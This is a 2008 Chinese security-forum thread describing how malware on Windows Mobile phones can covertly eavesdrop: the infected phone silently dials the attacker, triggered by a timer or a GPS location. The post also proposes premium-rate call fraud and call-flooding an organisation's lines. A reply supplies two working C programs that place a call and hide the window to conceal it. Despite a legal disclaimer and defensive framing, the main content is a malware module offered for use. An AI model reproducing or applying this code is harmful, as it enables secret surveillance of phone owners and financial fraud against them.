首页
社区
课程
招聘
[原创][WM系统开发]一种手机窃听功能的实现方法
2008-12-30 19:12 15485

[原创][WM系统开发]一种手机窃听功能的实现方法

2008-12-30 19:12
15485
随着硬件水平的不断提升智能设备如智能手机、PDA、导航仪、车载系统等正在飞速的普及;越来越多的关键业务在向智能设备上转移,比如手机支付系统、手机银行、电子商务等等。同时智能设备平台也逐渐成为了黑客感兴趣的领域,各种手机病毒、木马、流氓软件层出不穷。可以肯定手机平台恶意代码将会在未来得到迅猛的发展。为了加强防范知己知彼,我们很有必要了解一些手机病毒的可能实现方法。所以我把一些研究手机病毒的成果发布在这里希望和大家一起交流共同提高!

郑重声明:
本人坚决反对用病毒技术做违反法律的攻击!如有人使用我们讨论的技术做违法的攻击,一切后果由攻击者承担!

说到“窃听”无非就是被攻击者说话的内容我们也可以听到罢了。我们可以分成两种情况一种是窃听用户日常谈话内容;一种是窃听用户用手机通话时的内容。
这次介绍的技术主要目的是窃听用户日常谈话内容。

实现方法:用病毒控制用户手机给黑客手机秘密拨打电话,黑客接通电话就可以听到用户的谈话内容。

到此为止,问题就转换成:如何用程序控制用户手机拨打指定号码电话?

Windows Mobile中有多种API可以实现拨打电话的功能,这里介绍两个:

PhoneMakeCall()这个函数在MSDN和我的API手册中都有介绍使用一个PHONEMAKECALLINFO结构体指针做参数。结构体中可以设置电话号码的字符串。

tapiRequestMakeCallW()这个函数在MSDN和我的API手册中也有介绍。这个函数有4个参数。可以只填写第一个为欲拨号码的字符串指针。但这个函数在VS2005中没有
头文件和LIB,需要用户加载cellcore.dll库并查找函数获得函数地址再调用。用Xarm编写比较简单。如果用C/C++则需要声明函数指针。

这两个函数可以控制用户手机拨打指定号码,在实战中可以配合其他触发功能一起使用。
方案一:定时功能当病毒检测到当前时间为指定时间时可以对外拨号。
方案二:通过GPS功能当用户手机进入指定范围时,比如一些敏感地区时开始拨号等。

当然用这项技术可以做其他一些攻击:
攻击一:通过病毒让用户拨打指定的付费号码,从而增加用户花费。
攻击二:通过病毒让大量用户拨打一个单位的一个或一组号码,阻塞其信道。

后面提供了两个用C写的Demo程序,点击之后会拨打10086电话。



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (28)
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-30 19:20
2
0
实在非常对不起各位。

因为公司现在对上网管理极其严格,我也不想连累帮我的同事,所以不能经常到上论坛。可能主要通过发原创帖子的方式和大家交流。

由于个人能力和上网时间的限制如不能及时和大家交流请大家原谅!
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 10 2008-12-30 19:33
3
0
呵呵,沙发~
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-30 19:33
4
0
曾经听说过一种窃听方式是:

感染用户手机 , 黑客拨打用户手机,手机自动接通

基本原理也是利用电话通信来窃听,这样做黑客可以比较容易窃听的时间。
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-30 19:35
5
0
在手机上的病毒是能够控制外部打入的电话的通断的。

我在2008年9月发布的针对Google的Android手机的混合攻击系统中就有自动接通任意来电或者自动拒接任意来电的功能。
雪    币: 60
活跃值: (479)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
uvbs 2008-12-30 19:38
6
0
那怎么传播~再好也像是运动员缺了腿~
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-30 19:53
7
0
请注意标题。

这里只是介绍手机病毒中的攻击模块中的一种。即使窃听都还有很多方法!

病毒只是一种特殊的程序,也是由很多功能模块组合在一起实现的。

逐个模块的介绍有利于降低分析和实现的难度提高研发兴趣。每个模块都有了,自然可以编写强有力的病毒。如果有兴趣可以看看5月份发布的“索法I型”概念病毒。功能就比较完善了。
雪    币: 270
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
烁皓 2008-12-31 09:54
8
0
很强大啊!以后的一个庞大的趋势啊。有时间一定好好学习啊。
雪    币: 270
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
烁皓 2008-12-31 10:02
9
0
不过感觉现在手机的操作系统有点多,以后也会优胜劣汰,变成一两种操作系统就好了,研究的东西就不会太杂
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
利用 2008-12-31 10:31
10
0
请问楼主我自己的手机会不会被感染?
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-31 12:09
11
0
手机平台不容易统一成1-2种的形式,各家都很有竞争实力。而且各家都很重视已经有了比较深的积累。

我是坚定支持微软的Windows CE为核心的嵌入式平台。
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-31 12:10
12
0
提供的示例程序只有拨打电话功能不会感染你的手机。

其他的情况我不敢肯定。
雪    币: 7814
活跃值: (2281)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
option 2008-12-31 12:49
13
0
应该是现代化的手机可能被感染,古老的手机估计几乎不能被感染,是这回事吗?
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-31 12:52
14
0
这里主要针对的是Windows Mobile平台的手机。5月份查大概有300多种不同的型号。
雪    币: 101
活跃值: (88)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
nkspark 3 2008-12-31 12:55
15
0
啥破公司啊,连上网都不让?这样的工作环境,不利于LZ发展啊~~~
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-31 13:19
16
0
你说错了。

正因为公司做的是特殊的软件产品,才会有特殊的要求。

不能上网对我的发展没有多少影响。因为过去一年多我学习CE/ARM都是靠自学,在家闭关两周只能上1-2小时网。提高开发能力需要靠自己多看书,多写程序,不可能靠多上网就能成高手!
雪    币: 101
活跃值: (88)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
nkspark 3 2008-12-31 13:43
17
0
LZ泄密了~~~~
雪    币: 299
活跃值: (25)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
zjjmjtoot 4 2008-12-31 13:49
18
0
支持Win CE ,打倒Symbian。
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2008-12-31 13:53
19
0
综合来看Windows CE应用面确实比较广。
无论在手机、PDA、导航仪、机顶盒、收银机、医疗设备上用的都很多。

现在招聘的单位也很非常多。
雪    币: 126
活跃值: (61)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xyzreg 1 2009-1-3 03:25
20
0
[QUOTE=加百力]实在非常对不起各位。

因为公司现在对上网管理极其严格,我也不想连累帮我的同事,所以不能经常到上论坛。可能主要通过发原创帖子的方式和大家交流。

由于个人能力和上网时间的限制如不能及时和大家交流请大家原谅! [/QUOTE]

公司?LZ是电子科技大的吧
雪    币: 126
活跃值: (61)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xyzreg 1 2009-1-3 03:31
21
0
智能手机安全是个不错的方向,虽然现在有点超前,需求量小,但不久的几年内肯定会很火的。PC上的安全意识的提高以及安全软件的普及,攻击越来越不容易了,比如office附件以及邮件xss远没三四年前那么爽,远程exp更不用说了。

所以也该另辟蹊径了~
雪    币: 239
活跃值: (40)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
codez 3 2009-1-6 12:34
22
0
// WMBug1

#include <windows.h>
#include <phone.h>

#pragma comment(lib, "Phone.lib")

#define NUMBER_SIZE        12
#define CALL_NUMBER        L"10086"

int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPWSTR lpCmdLine, __in int nShowCmd )
{
        WCHAR CallNumber[NUMBER_SIZE];
        PHONEMAKECALLINFO pmci;

        memcpy (CallNumber, CALL_NUMBER, NUMBER_SIZE);
        memset (&pmci, 0, sizeof(pmci));

        pmci.cbSize        = sizeof(pmci);
        pmci.pszDestAddress        = CallNumber;

        PhoneMakeCall (&pmci);
        Sleep (100);

        ShowWindow (GetForegroundWindow(), SW_HIDE);
        Sleep (3000);

        return 0;
}

// WMBug2
#include <windows.h>

#define CALL_NUMBER        L"10086"

typedef LONG (* TAPIREQUESTMAKECALL)(LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR);

int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPWSTR lpCmdLine, __in int nShowCmd )
{
        TAPIREQUESTMAKECALL tapiRequestMakeCall;

        tapiRequestMakeCall = (TAPIREQUESTMAKECALL)GetProcAddress (
                        LoadLibrary (_T("Cellcore.dll")),
                        _T("tapiRequestMakeCallW"));

        tapiRequestMakeCall (CALL_NUMBER, NULL, NULL, NULL);
        Sleep (100);

        ShowWindow (GetForegroundWindow(), SW_HIDE);
        Sleep (3000);

        return 0;
}
雪    币: 2604
活跃值: (64)
能力值: (RANK:510 )
在线值:
发帖
回帖
粉丝
加百力 12 2009-1-6 12:40
23
0
确实有道理。

我的感觉是随着硬件性能的不断提升,价格不断下降,智能手机会逐步普及。想想5年前的智能手机什么功能?什么价格?现在什么样?就会明白了。

另一方面随着底层硬件功能的提升,软件开发者有了更大的发挥空间。各种PC上有的软件和服务会很快移植到移动平台。比如手机银行、手机炒股、手机支付系统、电子货币等等。这些都会吸引黑客阵营的目光。多家著名反病毒公司:卡巴、瑞星、金山、网秦等等都有手机反病毒产品了。

现在一年新手机产量大约为12亿部,超过全球PC的保有量。手机用户更广,水平更加参差不齐这也是安全隐患。

手机等智能设备以及PC、家用游戏机、家用娱乐设备等在未来必然可以通过无线、有线网络更紧密的连接。只要攻下一个,其他的都会处于黑客阵营的控制范围。
雪    币: 89
活跃值: (185)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
kuang110 6 2009-3-16 22:04
24
0
强人啊。学习ing
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shuful 2009-3-19 15:03
25
0
塞班的呢???
游客
登录 | 注册 方可回帖
返回